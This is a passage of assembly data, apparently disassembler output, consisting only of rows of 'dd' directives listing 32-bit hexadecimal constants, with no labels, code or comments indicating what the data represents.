		dd 1447029h, 0BD8A0E7h,	18B432F3h, 6A532CD3h, 8191DD2Bh
		dd 49A5742Eh, 5C42F201h, 87AE080Fh, 7A3562F8h, 95F04204h
		dd 0F7F8C501h, 82BB00D3h, 95FBE57h, 12C3C6B0h, 91FF7FA1h
		dd 0F86C33E9h, 0D38AA8A4h, 12EDF910h, 6664F02Bh, 0D0A502F8h
		dd 29685FCAh, 7BE63954h, 69A7FD4Ah, 3688207Bh, 3A41BF00h
		dd 0F7810DCBh, 937017BDh, 66C10931h, 0BA050B6Eh, 23707C9Ch
		dd 801833C3h, 8229ADE2h, 1F41C080h, 9EA3B150h, 622D03DCh
		dd 36BC8D39h, 28BB004Bh, 505366D8h, 7DF8B479h, 515D2DCAh
		dd 72E9262h, 0BB326445h, 3371E412h, 58032C4Bh, 0E146B1h
		dd 2832DBBDh, 0BDFF0EC0h, 0C7295183h, 89AEE3B9h, 3E8D122h
		dd 4C6545FCh, 0AC1378B0h, 515EF3B5h, 0FDCE7569h, 5B232485h
		dd 67D76813h, 0E9C43EF9h, 0B5D6F0F5h, 0C5028A70h, 59EC8858h
		dd 0E2DB41B2h, 4AA368E0h, 0B1A1230Fh, 2E9C0C8h,	0D00806C1h
		dd 0BD2180E1h, 0FA47C1CCh, 27B8B4F3h, 839A1F94h, 9C9505Eh
		dd 0B512940h, 21070B4Dh, 49845BDAh, 3A091608h, 0D66B8560h
		dd 5AFEFCB4h, 29FCC42h,	70585BCBh, 92719CBCh, 3EACA17Ah
		dd 97C83528h, 1EEE1C8Bh, 147068A2h, 94CDD19Ch, 8896343Bh
		dd 2FD42F99h, 8C90720h,	0AAB20269h, 0C7880309h,	415BF991h
		dd 0FB284FA9h, 197261D2h, 2790C470h, 3E4CFF9Ch,	0B564050h
		dd 850FDB1Fh, 6884256Ch, 0CDB26E7Ch, 20478F02h,	105CE1E9h
		dd 43D15B3Bh, 5D00AD2Ah, 5973C831h, 0A9E2C34Fh,	0C03B1692h
		dd 0EB295A09h, 0AFDA5D5Bh, 9D5F494Ch, 2C8E6666h, 151D3850h
		dd 68042212h, 5E09D34Bh, 0AD084954h, 3645272Ah,	105C0994h
		dd 0B900ACCEh, 0BAF114Dh, 6109C981h, 8053C655h,	0AD7D7C65h
		dd 4A59069h, 8ADE954Eh
		dd 0D18AC431h, 8BC5292Dh, 0D9C74180h, 0E8F449F5h, 0F21AE9E1h
		dd 34A3813Ch, 2D92D370h, 712980A0h, 0C7069D93h,	0B2A8157h
		dd 53CC3905h, 782B8F8h,	24E87DC1h, 0F70040BDh, 91C535D8h
		dd 89F316h, 0ACBE58C3h,	295C0298h, 0EACDE58h, 6B0C62C6h
		dd 46C5A011h, 99F5BFE9h, 0F189641Eh, 3011E542h,	21E92C49h
		dd 43B565F5h, 14E534C2h, 273B348Ch, 0EAEBF673h,	4D942468h
		dd 0E4B560E5h, 0AE4EB753h, 72365E0Eh, 60B83D88h, 8C2D751Ch
		dd 3975A35Bh, 576DE516h, 4BA02004h, 680CF38Fh, 15AF6E20h
		dd 458B0997h, 70EC2798h, 514A0BF9h, 568180A6h, 3BB2B0E9h
		dd 0E7559A8Ch, 68CF043Dh, 0AC465A69h, 0AF47125Ah, 0D8952E1h
		dd 0E8003769h, 2418F475h, 1259EF01h, 17BCE4C3h,	2CDF922Ch
		dd 9BB13216h, 0E75060h,	1232C1Bh, 8CBE56D8h, 2094650Ch
		dd 9B60E55h, 4E667506h,	0B295D787h, 98E06278h, 7D302408h
		dd 3C0A0C2Bh, 392D40E8h, 75F06000h, 0C583D5F7h,	0AD2FFh
		dd 2A69422Dh, 0EDB82930h, 17A061B8h, 925CEC0h, 51EE50A9h
		dd 2260AD45h, 4D521ECFh, 0D6F7CD87h, 0B61A8308h, 0B77AF118h
		dd 84EAE8C0h, 23E9129Eh, 9EDDECD1h, 4643C08h, 0EA5EF101h
		dd 86517B0Fh, 12184CAEh, 0A80C875Ch, 52C5B4A6h,	8B38E056h
		dd 180D01F1h, 0F74916BDh, 0A4D443D1h, 8915AC80h, 5B1ACA57h
		dd 6B087E85h, 0EDBE015Ch, 202E4338h, 0D198078Fh, 0DE2F0142h
		dd 0F8EEA230h, 5CE42B02h, 0D24125E9h, 7440005Ch, 0E7C12C5Fh
		dd 0CF738102h, 17960B0Fh, 230E37D1h, 59B7C6CBh,	39E0141Ch
		dd 0C701AD89h, 0F71C4D7Dh, 8E426B01h, 0D11D47E9h, 0E3B80B4h
		dd 0E1C12FBBh, 8FE90816h, 0FE5AF249h, 44AAF150h, 45ABF69Ch
		dd 33CA6AAEh, 506E0C69h, 3ADE7ED8h, 7A7C0977h, 65D098E9h
		dd 29619F94h, 892E5AD7h, 68369306h, 2D0A18D5h, 8390C4CEh
		dd 18FA247Eh, 0DE7189E2h, 8724A994h, 0C51051Ch,	0AD2B4A02h
		dd 25BF51D8h, 8CCFECBCh, 6813567Ch, 9BB3258Dh, 0CA5D9C4Eh
		dd 0DECF5B4Ch, 62ABB40Dh, 0C1680620h, 4450B9EDh, 1C026F81h
		dd 7F183093h, 96EA6600h, 21286CA3h, 0EF00EDCFh,	0ECBAD32Dh
		dd 0C0D86BE9h, 923BEADBh, 4C988B45h, 1C294300h,	26223515h
		dd 4831FC8Dh, 0D88476C2h, 0DC5409C6h, 6EC5A9Fh,	0D7257929h
		dd 0EA272DBCh, 88085B16h, 0BE015773h, 74D20251h, 34887621h
		dd 2904BA07h, 0CCE058C6h, 5E26BAD7h, 1FEDDCB9h,	6A0C4903h
		dd 26279DE9h, 680BB5Fh,	784B2483h, 0D6162305h, 6FC70902h
		dd 0B13FCA93h, 0BC706BA1h, 8DBB1707h, 0E91C442Fh, 62AAB140h
		dd 0C07CD086h, 0A45163EBh, 0F40CD768h, 0A9A255F8h, 89052555h
		dd 0F5ACD385h, 942A8C51h, 2024AA17h, 0C32922AAh, 0FEE1FE84h
		dd 79268F49h, 334C879Eh, 0F0D0ACD5h, 0D92ACC12h, 0CDCA9E13h
		dd 0A068C099h, 0CF20D21Dh, 0DBF72455h, 1473256Ch, 2D81664Ah
		dd 5203B897h, 9EC289C4h, 0F358E0CBh, 621803A5h,	1F2B5038h
		dd 1BE9155Bh, 0C23BA5FAh, 0B5CFF3BDh, 322DF88Eh, 0BD9CE69Dh
		dd 58D31B06h, 3D3491B0h, 7E993CA8h, 0B65B5AD8h,	0B6F12097h
		dd 26F927B4h, 0C08692BDh, 51324F3h, 5CC2CC66h, 162B6816h
		dd 2DB29661h, 2381B800h, 563FD01h, 43EF7BEEh, 57C2A672h
		dd 44D497E9h, 0ACF2EF25h, 41812D33h, 3059CE21h,	2F99C409h
		dd 39D2F649h, 707EB9Fh,	0E44D88CBh, 4900EB54h, 27B05234h
		dd 0EE9FC41h, 0F11CE19Eh, 60A88EABh, 595C8F1h, 0F9D0215Ah
		dd 33443A5h, 0C83110E8h, 1DED8C95h, 99B31B14h, 0AE555AC7h
		dd 5CD44BB3h, 0D2E07C38h, 0BAFFB181h, 68CB4809h, 7010284Eh
		dd 5D0D2DC0h, 50F2F666h, 2E98E1BAh, 320FF506h, 120C39F8h
		dd 5C2D22h, 0BD5DEF93h,	5096A70h, 0E2C6E977h, 4045C248h
		dd 991E138h, 0C1576B28h, 0E7721189h, 64ADFE48h,	3DE4AA8Ch
		dd 302CECC5h, 330C18BAh, 3A046B01h, 136C685Ah, 49C11391h
		dd 0EE542924h, 0E9C29737h, 58C90252h, 0BEBAA0A6h, 0CBC411Dh
		dd 0EE834E78h, 7112C662h, 0C71EA32Ch, 9BF11E40h, 58F78995h
		dd 320B75Eh, 58273F13h,	6102D4ECh, 4F6A660Dh, 523BC960h
		dd 0B64E132Ch, 0AF67B002h, 2A0B5756h, 75403974h, 0B0763E6Ah
		dd 54B582C2h, 0C64252Ah, 7FFEC29Fh, 31FCBB22h, 6805B85Dh
		dd 223C4D72h, 0B4257581h, 3352052h, 70A10098h, 0EA83E7E3h
		dd 15B018CEh, 2610F338h, 4A7E96Ah, 46805F4Bh, 503E199Eh
		dd 13AEBE0Dh, 193219Ch,	0A77AA363h, 41D83D15h, 48AB3C08h
		dd 8D0E3506h, 0C73C47ECh, 1E224D8Eh, 5985E7C0h,	82AB2D98h
		dd 49BE1E24h, 0FD1C6FA4h, 0D95DE88Bh, 0C10182D3h, 55F15358h
		dd 0C7E284C9h, 0D1CD8000h, 0B437B353h, 0F5938A30h, 7EC3E1C1h
		dd 80DFA220h, 4E30AFBFh, 53C7DAA7h, 0F25804B1h,	0D95C4168h
		dd 291CFD15h, 4AB06A3h,	380C175Bh, 8A7E62Bh, 0EA2F57DAh
		dd 52E119D4h, 824572E8h, 0EF040340h, 13CA2D80h,	10217A5Fh
		dd 924A1792h, 4550EF12h, 2E38BD07h, 2FA47662h, 0F04A76A8h
		dd 0A10FB3B7h, 0A910B652h, 0B3D350D3h, 88FE3D6Ch, 504FF968h
		dd 0E984D5B2h, 1C8EB843h, 4F22684Ah, 0EF04D129h, 76BE7DECh
		dd 72884840h, 148FB0C3h, 0B4EA8058h, 0E9C8F205h, 1EB954Fh
		dd 36101761h, 201C2031h, 410E6413h, 9759FE07h, 9D3AD0F7h
		dd 341EB203h, 74BE8968h, 0ADD23128h, 5A2931E3h,	453EE00Eh
		dd 5609B17Bh, 0A5330815h, 25C444h, 7A757DDEh, 0BD015544h
		dd 69095273h, 2F34D9E9h, 3158255Fh, 2A8B052Fh, 0F5831263h
		dd 2535FC13h, 8837DFA2h, 5912A8E0h, 0F821F741h,	7060095Fh
		dd 87F0A86Eh, 98E1F5F9h, 34C1DA24h, 40602E0h, 4C021B7h
		dd 2DEB348Bh, 47CB2E63h, 2A1CB55Bh, 7764881h, 325EE512h
		dd 0BF4BD5C5h, 0C7D7950h, 941F6269h, 7CA2A44Ah,	0D9572D7Dh
		dd 0FC499E46h, 97F94910h, 83AD62C4h, 325FF29Ah,	5C945F78h
		dd 4C8B0A90h, 0B955E0F2h, 2D98369h, 68178D3Dh, 2BEB633h
		dd 0CC800FB4h, 0D884DFB6h, 8CCBC7F4h, 0C512EC0Fh, 0F7ECE688h
		dd 0F91EF71Ah, 87201DC1h, 2F03B9E9h, 57C03274h,	0D32921B1h
		dd 58C40AC0h, 5FFE626Ah, 3B925A56h, 0B6BDBEF0h,	0E5019EEDh
		dd 45263CC5h, 0E1CD051Ch, 0DE300606h, 54DC13F1h, 206FA885h
		dd 2F299ECEh, 0B1095B89h, 2A61710Eh, 30196837h,	0B3ECD5B7h
		dd 0DA01F502h, 0A0445CE9h, 1820C9A2h, 96FBA02Ch, 948092EBh
		dd 739427FFh, 77736812h, 7D55A160h, 805E50FAh, 800DD151h
		dd 0C15EBC42h, 3AB76F4Ch, 0D1851927h, 0D05B2792h, 159D496Ah
		dd 0C7295E0Bh, 71BF6100h, 0A4A0774Ch, 140BCE9h,	0C2079659h
		dd 0BF003921h, 5ADE43B1h, 57CF25Ch, 173790Ah, 97CBBE53h
		dd 53CDE913h, 0D09EA8B7h, 6A5D25C6h, 9C905D49h,	0F8B61115h
		dd 32E1ECCBh, 78D4868h,	41BAE25Dh, 0B8283C69h, 2FDC9D5Fh
		dd 8001A7CBh, 25E928EBh, 0DC357BD5h, 0BFB3A385h, 0B380344Bh
		dd 0B22D80F8h, 1420A52Eh, 705D001h, 84AC5A24h, 0BA09EE68h
		dd 5FE98928h, 5FDD00BAh, 0B35DB850h, 8FD95B25h,	7648EB95h
		dd 1EE19615h, 0CB085EE7h, 0EA711647h, 7221108h,	0FF50EB28h
		dd 4034EA2Ch, 12B461FCh, 0B20C2D3Ch, 7DE16085h,	85D48219h
		dd 14C290BCh, 17311E4Eh, 0FFAF841Fh, 68050B5Dh,	0E4E830BCh
		dd 0BA25284h, 0CAE00B29h, 91D8FAD3h, 1AF00845h,	98E38007h
		dd 1CEACB33h, 2706B1BEh, 0C04892F0h, 87E909A5h,	665BB249h
		dd 54562F7Eh, 8CD19662h
		dd 54060CC4h, 0C60B1D59h, 0F2791773h, 0ECE4805Ch, 775C1237h
		dd 3DC11849h, 6178B753h, 0F5177F5Bh, 552FB0E2h,	5D8D550Ch
		dd 0E2D3682Fh, 49AF54E2h, 90082EDCh, 9CB40330h,	0C0E8C480h
		dd 0CDED05ECh, 0BC129673h, 0EE90B816h, 2DA4B7F3h, 0A180D687h
		dd 0F2E9F089h, 31CDA24Fh, 0AEA5A138h, 0C2446E64h, 6EA4A190h
		dd 0D70B1E3Dh, 33CED93Bh, 92592301h, 89A33CAh, 0EA29D398h
		dd 10B25D5Bh, 376299C9h, 4D8E4A0Bh, 2A1C3076h, 6B4A971Bh
		dd 8026AD4h, 725DABE9h,	652C781Ah, 83C0CB2Bh, 0A2A7FEB1h
		dd 88F1D97Ch, 4334ED40h, 0C23B4E9Fh, 0C7ABEE3Bh, 784E2961h
		dd 92B7C7F1h, 2C85F8C5h, 368A842h, 0B4197D6Fh, 0DC8B7BFEh
		dd 0FB204558h, 1118BD0Eh, 5E807235h, 0BEEEC05h,	0C701E7CAh
		dd 0E9172FECh, 0AED4F69Fh, 0EE5276B4h, 0D0890B5Ah, 0A029B3E9h
		dd 8F7006F8h, 0A062ADF4h, 6607599Dh, 399A9D7Dh,	34E10042h
		dd 7FEA4B54h, 0D94C8327h, 0F1D86B36h, 15596B5h,	0EB75FDBAh
		dd 89FCBF3Eh, 0F8E8E90Bh, 8958136Eh, 0F30F12F3h, 41EB8894h
		dd 96C5C0E9h, 8080529Ah, 5A42126Eh, 1483CA64h, 600FBA52h
		dd 75BF650h, 0D329240Ah, 5C082018h, 5C11DA5Ah, 1B075934h
		dd 0A5EF140Ch, 9AC994Bh, 0C1F2E8E7h, 8A7F13AEh,	74720959h
		dd 6B533D61h, 0D8F08FCDh, 9D78237h, 0A52D80DCh,	0FC88B46Eh
		dd 0EF1941ECh, 14B639B0h, 6451E62Bh, 0D931598Bh, 0F9F31643h
		dd 444D81BFh, 0AF6029E8h, 0D6071802h, 365E6803h, 9DB052E4h
		dd 0B43B0548h, 291082A3h, 556365DEh, 971BF6F9h,	92D3D69Fh
		dd 0EBBE0B02h, 0C01F1B65h, 4F565DAEh, 6AC1B0D5h, 262A4718h
		dd 1F7A610Ch, 414D1A18h, 7311ADF5h, 4E43834h, 8F0E7688h
		dd 314A07FBh, 0B24C43F1h, 5D15F3Ch, 0F229B43Eh,	0DFD01BC2h
		dd 0E9D8E730h, 0E691E5Dh, 60D0CF80h, 0F88843F7h, 0BDE0BD5Bh
		dd 81801F4Eh, 13930FF6h, 576B4345h, 252C4CE0h, 93CB8EB5h
		dd 0D7B1A0E8h, 0FE0A814Ah, 0FBC980C1h, 21819AE9h, 0B545BD68h
		dd 0CBA57879h, 0CFAA0F43h, 3127E251h, 9CD143C3h, 14D1C0D0h
		dd 895E2708h, 0EB8BD3C2h, 51598CBAh, 0B02866A7h, 953FB234h
		dd 3B545309h, 789382Eh,	0C52A6946h, 64145FF2h, 3E9EE912h
		dd 38200FDDh, 20B641F8h, 1A04E81Dh, 0CB893B7Eh,	0E85C3682h
		dd 945BC71Ah, 0ED68E2ECh, 0C8E97CC8h, 830B0A62h, 67FB7C9Eh
		dd 3DB6F256h, 0B9445E6h, 0CF2AC66Fh, 135B4B30h,	3EECE8ECh
		dd 0C267AD57h, 6D2256CDh, 55976043h, 9D86814h, 2F328B71h
		dd 1F9DA465h, 19055BF3h, 8078D54Bh, 0DD524C58h,	0F6049390h
		dd 93E5704h, 1CC406BAh,	592840FCh, 0A104934Fh, 931286Fh
		dd 0F12100AAh, 273C664Bh, 9DA1CEF2h, 15887A07h,	0B6154054h
		dd 1293DF5Ch, 7BE83FB5h, 0D45CF893h, 12A61E12h,	5EBE2300h
		dd 0ABDCFBEDh, 20FA9CE9h, 0E52CE992h, 9383B7BCh, 0DA5DAAB2h
		dd 5AC0EA76h, 0E75E48C0h, 0E92202A2h, 0F66558C4h, 4EF37888h
		dd 31D50918h, 4202ED8h,	21583CE8h, 0A29666C9h, 50F041F1h
		dd 6061A5CAh, 209F46E0h, 557FF67Fh, 0E9770DDAh,	0D6F324EAh
		dd 432BE182h, 0A50C8AD3h, 27686FECh, 0D9597EB8h, 303B7269h
		dd 0F1FD9D5Eh, 0BB3D72B0h, 627AA532h, 0ECA52CF1h, 383A1E99h
		dd 245D6631h, 56330046h, 0EE21575Eh, 775E913h, 5C93AA2h
		dd 81BF5524h, 3A945FC2h, 23A71E09h, 92F280B4h, 49807D28h
		dd 4B0459EBh, 510AD8E0h, 0D094B652h, 0A8B8A112h, 8634FCA6h
		dd 0D7887727h, 253F403Ah, 47659609h, 7D470E37h,	0F0660E0Dh
		dd 900A72E2h, 17AAF2DCh, 80B1DEFh, 3528C679h, 88549D81h
		dd 83E2AAC5h, 691F38B0h, 0F44A8FD2h, 0AA8F87FDh, 68136CA0h
		dd 303EE347h, 0F82EC371h, 22C18BA0h, 7B7C6702h,	54366AE9h
		dd 9D446A96h, 0A3E62F8Ah, 13099449h, 0EFA0D92Ch, 0E4D03EF7h
		dd 689323B0h, 79BC5763h, 0AEE25047h, 70A50EFBh,	7921EE9Ch
		dd 876B01B5h, 0ECC5D435h, 0F3F24AEEh, 0D398899Fh, 55F70920h
		dd 4E4DA57Eh, 12ED2061h, 0CCD830ACh, 1700B6A4h,	0F0281E2Ch
		dd 0B0B35366h, 92D55BF0h, 727AC7AFh, 2A94D4ECh,	0AB0F6641h
		dd 19B54D2Fh, 521234AFh, 5B4A3DF2h, 80E8CA99h, 96659AB0h
		dd 0ADE8C536h, 6168820Dh, 9620594Fh, 29345383h,	775B60CCh
		dd 3B360112h, 5001B6F8h, 0D15F980Eh, 7FC2E0EAh,	2278111Fh
		dd 190F01BCh, 0D62954CFh, 0E4F0E693h, 7700F3C8h, 55CE4AEh
		dd 4B34389Dh, 11C49040h, 62004818h, 0AE6814Eh, 98263D2Bh
		dd 0EEC11F88h, 10382603h, 0CE80093Fh, 89BC7437h, 0F6DC013Ch
		dd 0B53B3CD8h, 6816F434h, 8CCC02D5h, 70E64E91h,	44AC68A4h
		dd 0F28233A5h, 685AA0E9h, 0A0C13831h, 809B43D6h, 53075B66h
		dd 0EF8099B7h, 3E7C091h, 0F8605520h, 152732E9h,	0FEC5D349h
		dd 25D872A7h, 31453AA2h, 9D0DC4BFh, 10C1D52Eh, 30547B60h
		dd 0BA126A58h, 5EE1D0DCh, 382CCF3Fh, 4FFA49E9h,	80B52AE2h
		dd 26685616h, 3E183007h, 18C9B9E9h, 0F4CC88E9h,	2619B465h
		dd 35F642D2h, 1A4D364Ch, 72FD7DA0h, 0FD5610EEh,	83E7800Bh
		dd 0F6B0A681h, 0DD12F4DFh, 6AEC1AD7h, 50585CC9h, 72548008h
		dd 0A1E90B66h, 0E5D1BF40h, 8C093C98h, 272BA02h,	7458DA8Dh
		dd 175C9EB5h, 521C49ECh, 145E3BC4h, 0E909A6E6h,	6F462849h
		dd 0CC707C0Fh, 0E05DA91Fh, 6B0509Fh, 4973403h, 0F941DC32h
		dd 845A2C12h, 97E1F727h, 27098B2Bh, 3544F85Ah, 0FBEFA17Dh
		dd 36FC6601h, 0F22130D2h, 49118E3Bh, 316000A5h,	6E25161Bh
		dd 4AD14C59h, 0A3F52312h, 4FE04F7Fh, 35F9833Ah,	245C29B6h
		dd 4BB51BFh, 68660CF7h,	0D94AC2C7h, 5F2084Fh, 16C3315Fh
		dd 2CA02160h, 306800BBh, 0B0469762h, 1EDC5D4Eh,	0A1B08602h
		dd 32D9BF86h, 0DA7F78A0h, 3F8D4E3Bh, 77DBEA02h,	0C8848198h
		dd 83258990h, 68001899h, 2B61540Fh, 719ABF54h, 818A7479h
		dd 8B49B9EEh, 31E62397h, 0CD9FB9F0h, 5788326Ah,	0CE858090h
		dd 62C18F82h, 0C0751062h, 2FBA1769h, 0DF58AF04h, 0B0B5C2B2h
		dd 80063701h, 475F5B68h, 0E658A5DAh, 669A6818h,	5F13E62Dh
		dd 0A00A1727h, 0E9090705h, 3EF9F84Eh, 6AE031ADh, 59A95D2Eh
		dd 0EE0B2FB8h, 0DE52C508h, 0BD3A8930h, 4CEE1355h, 5989CF62h
		dd 0FACAE6E3h, 5A5B1D78h, 612BB8Bh, 853FFC3Ah, 92FCF189h
		dd 59CF31A0h, 9B52E913h, 0B2ED68DDh, 7889E153h,	0B664E42h
		dd 7104ACF4h, 1982F1C0h, 6CEDED85h, 0F2683F1Eh,	0C669EA9Ch
		dd 982D9594h, 0A45E2A0Ch, 4FE9D544h, 793DA8h, 7E1A70E3h
		dd 3382CA81h, 0AEE0034Bh, 9C4525E9h, 4252D5Bh, 7DE40147h
		dd 537ABE5Bh, 0B3AD9C37h, 0DE32FD50h, 83419518h, 0F065C534h
		dd 7F1415F6h, 3D01309h,	734C5DD7h, 0B6E5E84Dh, 3F2C263Ch
		dd 0F53E3C60h, 701EC002h, 0DCF1EE29h, 3CD8DE49h, 919CD83h
		dd 76075954h, 89D03220h, 4EFFEBC4h, 0E9C529DEh,	585DD215h
		dd 8B90F6D8h, 1217215Fh, 0E9A09CB9h, 949F97DCh,	0B41C5EB9h
		dd 42975B5Eh, 0F8218584h, 0BF4DC3B0h, 0C2DBBD82h, 0C3EDD102h
		dd 484BB81Ch, 315E0543h, 9729E9F5h, 67A9563Eh, 1993045Dh
		dd 615218B7h, 5F1D096Bh, 3827C6D2h, 74222146h, 0B570FD05h
		dd 15F13FBh, 5BCCEDFh, 344059E9h, 654460C0h, 5A2C7AF1h
		dd 0ECBB9587h, 1756943Ah, 36F50643h, 13D14330h,	805E1C0h
		dd 28079A39h, 0FA3359EFh, 2CE2D95Bh, 9F69381h, 704CCF4Fh
		dd 0A36ABA5Ah, 390C6761h
		dd 0A351CB21h, 3DC5CCD7h, 0D7F6544h, 0C4298234h, 21DFBA00h
		dd 31271303h, 0A2E9BDD5h, 14B523Fh, 244295C6h, 31FE2918h
		dd 0B3080468h, 0E38D5BEBh, 9EEF176Ah, 5BB45A1Dh, 562FEF84h
		dd 6E4714B3h, 6639102h,	0A1AB010Ch, 0AD4DBC04h,	0A5F83B41h
		dd 0FCBA0978h, 640DC365h, 0B98BF12h, 9982B66h, 1DBE6858h
		dd 5414DB9Ah, 0DA50EA42h, 4BEC9D3Fh, 6644CD2Dh,	0B52B261Eh
		dd 5E1EAE1h, 0D8267168h, 391777F0h, 0B5B37633h,	28B2A540h
		dd 4E76912h, 116889BAh,	0C81EC041h, 3C5CD029h, 46B12D18h
		dd 0B014A72h, 1A231F3h,	0F4DC45C7h, 0ECC1C47h, 3EC28C0h
		dd 1F8791E3h, 389CC9E5h, 0F257C7A5h, 20221B9Dh,	139E7C17h
		dd 5EAA09h, 46260726h, 0E548C139h, 51AC1256h, 61C264AAh
		dd 32D498D1h, 0F7C1F55h, 5DAE4D99h, 0DE13BC69h,	0DE3CF92Dh
		dd 56A442C9h, 0A4D6A46Dh, 24B020D7h, 149E2204h,	0D71010DBh
		dd 0FE814BB8h, 0BF49DC45h, 6BAF3D70h, 0A94C1295h, 92C99725h
		dd 603B62CCh, 2B84FBh, 0A1357944h, 0F70A0343h, 253ED05Ch
		dd 588F3145h, 880411C8h, 6C95957Dh, 3D014C50h, 9DB4582Eh
		dd 0A98E9850h, 68BF5268h, 80A709E6h, 64AE2C1h, 3404ECA9h
		dd 0C04A2FD0h, 0E54A03Eh, 0D0015227h, 5A08803Ah, 0EEF74829h
		dd 7D391D75h, 0BCD9D63Fh, 0F5930263h, 0C22991DEh, 2531DA8Bh
		dd 0D1595B54h, 68B75644h, 0C30DC35Dh, 20D911E9h, 4439CCF4h
		dd 4662FBEh, 50F56CAAh,	26D3146Fh, 8814075Bh, 5AD723C2h
		dd 0BB4A5BD2h, 0CDF49C66h, 6195B9B2h, 13F7681h,	796859D9h
		dd 0A6234Ch, 69671CBDh,	0B440E918h, 283A2CBCh, 4E7C1E8Dh
		dd 0D001CB50h, 0E9624956h, 2C7848CAh, 74E4B5h, 0B652F028h
		dd 0C0C6FEAFh, 0F607EE09h, 73FC83D6h, 0A08B74CFh, 3E71FBB7h
		dd 74983E0Dh, 0BABB1AFEh, 2ECC7B02h, 41C8E381h,	0C82387Ah
		dd 3B7048B2h, 726B9260h, 1099663Fh, 6809F6C5h, 58D436FAh
		dd 0BA23A62h, 0DBA53AF3h, 94580C07h, 0B097AD26h, 802ECF57h
		dd 7FE16852h, 5A23D3CAh, 4A25E91Fh, 22A52EA1h, 0F059AA42h
		dd 102D2641h, 0D872C9Fh, 308F3D3Bh, 35AD3A6h, 70ED21DDh
		dd 0F64A9E68h, 0FCCA18DAh, 0B55AD165h, 1D68A201h, 727C481Eh
		dd 7027DA6Ch, 5CE6F255h, 85A7D3EFh, 376EF033h, 719C7302h
		dd 82284AE9h, 7A660246h, 0B0B47075h, 6030A0E0h,	49FB9652h
		dd 0CFB798Bh, 0D8E9D103h, 800E0E17h, 0C26C71CAh, 5CB4FEBEh
		dd 69B3BF00h, 8151B1h, 667FAEE7h, 27E94F19h, 8FCCF14Fh
		dd 306B4B5h, 4C0CB866h,	14A335A3h, 81E8C1C1h, 62A62DA2h
		dd 1F7536E9h, 0BD943778h, 1971B106h, 0FF0E6820h, 0C1281C25h
		dd 0B049FAF7h, 1A06C56Ch, 0C1BC81Eh, 0AC876F00h, 0E9FE019Dh
		dd 0FFD4AAF3h, 0F65C8919h, 0B3254264h, 0E645F4h, 165E55C2h
		dd 0EA7E0109h, 0EE0844E5h, 0C335952Dh, 112A82C2h, 61BF0093h
		dd 1D01D929h, 4DAACF81h, 0F0300DA7h, 53C6B73Eh,	42A3AAA3h
		dd 70C77D03h, 0DA1AAE40h, 7583EA15h, 965E6B8Eh,	1265B820h
		dd 5CF42919h, 6A1113C7h, 44980662h, 0E9801912h,	840B3335h
		dd 0F0D2F75Ah, 84A6603h, 8712E403h, 3205EB50h, 43EB5AD5h
		dd 0BB53D1FDh, 0EB90DD60h, 4F796E48h, 2BD9441h,	5B038808h
		dd 7BC256DCh, 2C8702BCh, 31A0DB09h, 7E28F6BDh, 2048A68Bh
		dd 32C64E2Fh, 0F132595Ah, 60B19031h, 7EE7B592h,	0E402BF09h
		dd 63381892h, 0B5129875h, 81D5D682h, 56232EB9h,	79046A48h
		dd 1EF9963Ch, 41F83113h, 0C06CC3F2h, 9BEA4208h,	173CC959h
		dd 3489A42Eh, 2A7AC93Ah, 68824FA3h, 0F0460134h,	2F9E5279h
		dd 49C15049h, 0A35E015Eh, 0B450C3F9h, 0D0E4CB89h, 2734B151h
		dd 0B09B6E9h, 5AE98251h, 2CCC09Bh, 0BD702269h, 8D425328h
		dd 1F00BABEh, 0E98BC3D1h, 253E5FBEh, 53BE82A9h,	0E7A1136Eh
		dd 243AF9h, 0BD349CC0h,	899205B2h, 9475E9CEh, 7313EEFAh
		dd 0E78C7B1Bh, 5A389126h, 86703433h, 0C59716FFh, 33628BD3h
		dd 6870E056h, 327A4F22h, 545E1Ah, 0D231E961h, 0F06E436h
		dd 0F07B0338h, 0E90D0B62h, 982EFD52h, 6673B2A0h, 0B03F5051h
		dd 0E0E12F6Fh, 96D1F66Ah, 28B3077Ah, 610269F9h,	0E65D2689h
		dd 2C4F8607h, 68C81813h, 1A4902F6h, 0A08464BCh,	0DEDBFCD0h
		dd 100CA54Bh, 4AA968D2h, 2CFEE304h, 4304CAA1h, 0F082475Fh
		dd 0E6E878EBh, 0C10F2DCEh, 0C495B078h, 3E3263Ah, 31E210C2h
		dd 0A56E345Bh, 2AFD997Eh, 95C22B74h, 47210110h,	68CE6F1Ch
		dd 17BEE75Ah, 3D56D9E9h, 8C46A901h, 2D309C22h, 4D1B04E5h
		dd 0C4CA290Dh, 1608139Fh, 7112A5h, 99205BE0h, 90B35711h
		dd 415E6425h, 10F67C48h, 462F4159h, 86683B02h, 0B9A11855h
		dd 73291741h, 9BBA77Bh,	0E05EF231h, 82E5E02Fh, 0F48D3C41h
		dd 294A4C37h, 5B8B5FB9h, 0D92DCBFCh, 7FFE4909h,	13BAC5C9h
		dd 30D1B657h, 5AC4E468h, 6F329859h, 41B60FF5h, 0E213D9D9h
		dd 0EA874241h, 38B2078Ah, 451BB2A0h, 4404D5F7h,	0B6B9B98Eh
		dd 0DE963A6Eh, 5AAC548Fh, 0C328BC09h, 800BB142h, 0C7A4614Ch
		dd 1268A6A8h, 6A24384Eh, 50FF68ABh, 782DC8C1h, 0C3415F42h
		dd 902B10E9h, 0A636D7A4h, 0A0891120h, 30549144h, 0ED0C7649h
		dd 674AD2BDh, 5251BC80h, 0AD7F4BE9h, 0C8F53F77h, 0A53D3D96h
		dd 29A0E093h, 495890CBh, 0A64B4605h, 97F5D683h,	1F2FD5FCh
		dd 0EC010689h, 0BF08207Ah, 0FA391DE8h, 2A516FB4h, 0AC0E172Eh
		dd 1E9F1DBh, 5A3D3D28h,	2D9EB529h, 0EAC8E1E8h, 0E159E283h
		dd 846B528Eh, 0A168BCC3h, 0C97F03E9h, 9068F8E2h, 0D45F274Ch
		dd 92884E47h, 95AEBFF6h, 4C78FD93h, 0C5D320ABh,	0AE1A9E0Ch
		dd 30B8E335h, 3064510h,	147AA905h, 5B0A0157h, 0F001123Dh
		dd 0E907402Dh, 5DB629A4h, 9045988Bh, 2E3E277Ah,	0AC111FAEh
		dd 0F1E0D2Dh, 0B6133A82h, 3FB32302h, 0E66FC0ACh, 0CE0D16EBh
		dd 7956E87Eh, 6512F678h, 0BB24B435h, 71E98904h,	0A22E7AB1h
		dd 80B5C0C9h, 0ECE9E830h, 4876BAACh, 0C71103CDh, 83A65F43h
		dd 0B8FB6092h, 0DB073E25h, 0C1DF051Ch, 0EE01E99Ah, 18B17327h
		dd 7C34046Ah, 0C2A1129Ch, 5C160E6Ch, 344844D3h,	1805008Eh
